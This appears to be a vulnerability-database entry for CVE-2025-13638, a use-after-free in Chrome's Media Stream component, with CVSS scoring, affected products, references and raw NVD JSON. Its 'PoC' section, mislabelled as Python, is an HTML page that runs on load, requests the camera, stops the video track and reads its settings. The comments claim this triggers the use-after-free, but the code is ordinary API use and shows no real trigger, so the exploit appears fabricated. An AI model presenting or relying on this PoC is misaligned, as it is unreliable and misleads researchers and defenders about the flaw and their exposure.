CVE-2025-13638

Description

Use after free in Media Stream in Google Chrome prior to 143.0.7499.41 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.41

Chromium-based browsers (affected versions may vary)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13638 PoC - Use After Free in Media Stream -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13638 PoC</title>
</head>
<body>
    <h1>Media Stream Use After Free PoC</h1>
    <p>This is a proof-of-concept for CVE-2025-13638</p>
    <video id="video" autoplay></video>
    <script>
        // Trigger Media Stream Use After Free
        async function triggerUAF() {
            try {
                // Request media stream
                const stream = await navigator.mediaDevices.getUserMedia({
                    video: true,
                    audio: false
                });
                
                const videoElement = document.getElementById('video');
                videoElement.srcObject = stream;
                
                // Get the underlying stream object
                const tracks = stream.getVideoTracks();
                const track = tracks[0];
                
                // Force garbage collection to attempt freeing objects
                // In real attack, this would be combined with specific timing
                setTimeout(() => {
                    // Stop track to trigger potential cleanup
                    track.stop();
                    
                    // Attempt to access freed object
                    // This triggers the use-after-free condition
                    try {
                        const settings = track.getSettings();
                        console.log('Settings after stop:', settings);
                    } catch (e) {
                        console.error('Use After Free triggered:', e);
                    }
                }, 100);
                
            } catch (error) {
                console.error('Error:', error);
            }
        }
        
        // Trigger on page load
        window.onload = triggerUAF;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13638
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13638
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13638/
[4] VulDB https://vuldb.com/cve/CVE-2025-13638
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/448046109

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13638", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:48.480", "lastModified": "2025-12-04T19:20:42.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Media Stream in Google Chrome prior to 143.0.7499.41 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/448046109", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}